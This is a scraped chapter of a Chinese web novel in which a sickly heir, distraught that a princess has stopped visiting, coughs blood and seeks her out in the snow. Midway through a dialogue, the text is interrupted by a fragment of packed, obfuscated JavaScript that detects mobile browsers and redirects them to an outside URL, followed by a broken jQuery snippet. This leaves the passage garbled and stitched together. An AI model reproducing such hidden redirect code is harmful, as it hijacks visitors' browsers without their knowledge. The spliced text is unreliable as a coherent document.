爱奇小说 > 都市小说 > 病弱世子娇养手札 > 48. 又不要他了
    只是第二日裴昭宁并没有来。

    殷珩又有些低热,昏昏沉沉很是难受,空青暂且也不敢与他说什么。

    依着他的吩咐送了信去豫王府,裴昭宁收了信,却也只是问了他两句殷珩今日如何,并无要来的意思。

    空青仍不住为自家世子辩解道:“爷许久不曾用那药了,昨日进宫实在没了法子。”

    裴昭宁冷冷一笑:“看来你也是知道,难怪一个劲儿劝我避一避呢。”

    空青哑口无言,转而道:“爷今儿还是不大舒坦,方才还念着您呢。”

    “林太医这几日休沐,便叫他看着吧,他配出的药你们自该找他去。”

    裴昭宁不想再同他多说,打发人走。

    空青没办法,回来只能半哄半骗着殷珩:“郡主未在府中,许是有什么事。”

    只是这借口只用一回还好。

    第三日、第四日,裴昭宁还是没来,连信也未同他带一封。

    殷珩再骗不过自己,便要叫空青带自己去见裴昭宁。

    他几日低热缠绵,起身都晕眩难忍,空青哪里敢。

    殷珩见他神色迟疑,还有什么不明白,连日的噩梦几近成真,他眼眶酸痛难忍,却只死死咬住牙关将泪意逼回,恨声质问道:“她不肯见我是不是?”

    空青见状,只能说实话:“那日您病得厉害,郡主知道您用了那药,有些生气...”

    他连忙又道:“等您身子好些了,小的就陪您去,郡主想必也不会再生气。”

    殷珩却全然听不进去,耳畔嗡鸣阵阵,不管空青说了什么,他只听得进去一句话。

    “她不肯见我…”

    脑中也只剩下一个念头——

    她又不要他了。

    一阵尖锐的刺痛从肋骨间炸开,逼得他眼前发黑,冷汗瞬间浸透了寝衣,喉间腥甜涌出,他死死咬着唇瓣,抬起手用力按着胸口,狠狠喘息着,身子摇摇欲坠。

    空青吓得慌乱扶住他。

    殷珩却是一把推开了他,连着小几上的药碗也被一并拂落,碎做一地。

    他不知哪里来的力气,竟这般撑着床柱起身,赤足踩在那碎瓷间,鲜血瞬间涌出。

    “爷!”

    空青手足无措。

    他却浑然不知,身上疼到了极点,便是添了新的伤处也只觉得麻木。

    “我要见她!”

    他踉跄着挣开搀扶,跌跌撞撞往外走,胸口,腥甜陡然涌上喉头,一口血喷溅在素白前襟,洇开刺目的深红:“带我去见她…你带我去见她…”

    “好,好,小的先替您换身衣裳好不好?”

    空青哄着他,殷珩轻轻低下眼,恍惚间看见自己狼狈的模样,终于消停几分,身子也顿时软了下来,目光散开,口中仍含混呢喃着:“我要见她…”

    *

    裴昭宁坐在屋中,转着手中的茶杯,听着裴从安说起裴璟与何家的事,脑中却仍不住去想殷珩。

    也不知他身子如何了。

    她那日虽是实在生气,可这都过了几日,气也消了不少,今日拿了他送来的信看,笔迹虚浮无力,顿觉心软,本是打算去看看他的。

    只是几日不着家的裴从安忽然回来,忍不住与她说起这几日的事。

    京中那些女子失踪的事竟然是何家的那个庶子何长元所为,清婉便是被他害了,送去给李业的,事发后,李业判了徒刑,何家为给他收拾烂摊子,帮着李尚书,换了人替他。

    此事被查出来,李家完了,何家倒是看在三皇子的脸面上,除了何长元,和他们家的二老爷,没牵连别的人,不过从侯爵降到了子爵。

    不过这是对外说的。

    明眼人都看得出,这事与三皇子裴璟也脱不了关系。

    裴从安说着,见裴昭宁一副心不在焉的模样,随手拿了个果子掷过去,正落在裴昭宁怀中。

    裴昭宁抬手扔回去:“你做什么?”

    裴从安一把接住,翘着腿斜眼看着她:“应该我问你,想什么呢,和你说话你也不理。”

    裴昭宁随口道:“我困了还不行吗?”

    裴从安轻嗤道:“你才起来两个时辰吧?”

    他忽然坐直了身,凑过来盯着裴昭宁。

    裴昭宁吓了一跳,往后仰去,就听见他问:“老实同我说,你是不是还在想着殷时?”

    气得抓起果子就往他身上砸:“你能不能盼我点好?”

    裴从安一手握住,见她这样也放心下来,又坐回去,咬了口果子:“度之说那日在醉花楼碰见他带着别的女子,揍了他一顿,这事儿总得谢谢人家,等会儿他来了,咱们好好聚聚?”

    裴昭宁一愣:“度之哥一会儿要来吗?”

    裴从安懒得理她,他方才说了半晌,她倒是一句没听。

    正说着,便有侍从来通传。

    不仅是裴度之,还有郁元。

    裴昭宁看一眼裴从安,顿时警觉起来。

    他又在打什么主意?难不成还想把自己与郁元凑一起。

    裴从安却也有些惊讶,很快笑起来:“郁元也来了?正好,许久不见,倒也可以一同聚聚。”

    这次倒真不是他主动叫的人,陈王那日听了明德帝的话,回去一琢磨,这京中世家子弟中,最叫人看好的就是郁元,又还没定婚,配长乐再合适不过。

    知晓儿子今日来豫王府,便叫郁元与他一道。

    陈王灵机一动,却不曾想险些给裴昭宁招来天大的祸事。

    这儿两人还没进来,裴昭宁就瞥见清婉附在清荷耳边说了什么,清荷脸色顿时有些变了。

    裴昭宁心里微慌了下,想着是不是殷珩怎么了,便要找借口离开一会儿。

    才动了心思,便见裴度之与郁元走进厅中。

    只得起身先见礼问好。

    几人曾在上书房同窗过,又有裴度之这个惯会交际的在,不过两三句话,便将气氛热了起来。

    “说起来,自我们离了上书房,聚得便也少了,我记得从前在时,咱们几个可是日日在一处,昨日我父王在府上烤羊吃,我还正在想从前长乐带着我们在上书房后面那林子里烤肉,险些烧了林子,叫陛下罚抄了半月的书。”

    裴从安年纪大一些,早早便离了京,不知裴昭宁上书房时还闹出这种事,似笑非笑看着她:“你还有这本事呢,今儿晚上便也叫人备些肉来,咱们在院子里烤肉,也好叫我尝尝。”

    裴度之顿时来了兴趣:“好啊——”

    他忽然促狭笑道:“长乐手艺可是好得很呢,是吧?”

    他抬了抬下巴,问郁元。

    郁元轻轻笑起来:“郡主手艺的确不错。”

    “真的?”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807828|206370||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >裴从安看向裴昭宁。

    裴昭宁微笑道:“你今晚大可试试。”

    裴度之哈哈笑起来:“这可得叫太医来候着,她那回烤的肉,叫殷珩吃了,病了两三日…”

    他话未说完,便意识到自己实在嘴快了些。

    如今提起殷珩实在是尴尬。

    好在裴昭宁似乎并不在意,裴从安也只是轻嗤道:“那小子也实在太娇气了些。”

    也是这时,裴昭宁注意到清荷一脸难色地悄然走进。

    心里愈发不安,实在待不下去,索性手一晃,将茶水泼在自己身上。

    “啧,你慢着些。”

    裴从安皱眉,“好在是温茶。”

    裴昭宁总算是借着换衣裳出来,走远了些便问清荷:“怎么了?”

    清荷低声道:“世子爷来了。”

    裴昭宁愣了下,清荷又道:“先前先是空青叫人传来话来,说是世子爷病得厉害想见您,请您去看看,结果没一会儿空青便带着世子爷来了。”

    裴昭宁听得皱眉:“他就折腾自个儿吧。”

    脚下步子却愈发快了,走到院中,便见廊下站着的人。

    外面这么大的雪,他也不知先进屋中,就这般站在此处。

    寒风吹过,卷起大氅的一角,露出里面薄薄的长衫。

    也不知空青他们怎么伺候的。

    清婉劝了许久都没将殷珩劝进去,尤其是看着那张毫无血色的脸,生怕他在这儿冻坏了,正不知该怎么是好,看见裴昭宁回来,顿时松了口气,连忙行礼道:“郡主!”

    殷珩也不知自己在此处站了多久,身子在风雪中几乎冻透了,意识愈发昏沉。恍恍惚惚间,忽而听见有人在唤“郡主”。

    他蓦然抬起头,就见一道身影大步朝他走来。

    金钗步摇,朱色的披风在雪地中格外显眼。

    他指尖狠狠掐着掌心,几近涣散的目光挣扎着凝在那处。

    终于看清了那道影子。

    用力挣开空青的手臂,整个人往前一扑,摇摇欲坠地向她倒去。

    裴昭宁大步迈上的台阶,双手稳稳接住了他,紧紧提起的心落回原地,下一刻看见他惨白得毫无火气的脸色,瞬间便又心慌起来,夹杂着几分难以言说的怒气。

    冰冷的身子落进她的怀中,被铺天盖地的暖意包裹住。

    殷珩眼眶骤然变得酸涩难忍,喉间哽咽。

    满腹的怨气与恨意在此刻全变做了委屈,想问她为什么不肯来看自己,是不是又不打算要他了,可是被她这般抱着,却也什么都说不出来,指尖拼命地攥着她的手腕。

    下一刻,他却听见她说:“你在这儿做什么?”

    他心头一颤,抬起眼却只看见裴昭宁紧皱的眉头。

    是厌烦?还是不耐?

    他分不清楚,只是她这般神色又叫她想起她与他决裂那一次。

    脑中顿时又只剩下那一个念头——

    她真的又不要他了。

    她不要她了。

    胸口的钝痛骤然尖锐起来,如一把刀猛地剜下去。

    “先…”

    裴昭宁抱着他冰冷的身子,还是心疼占了上风,一句“先进去”还没说出口,殷珩却用力抽回了手臂,猛地推开她,偏过头去,一口血喷溅在雪地中,鲜红刺目。

    “殷珩!”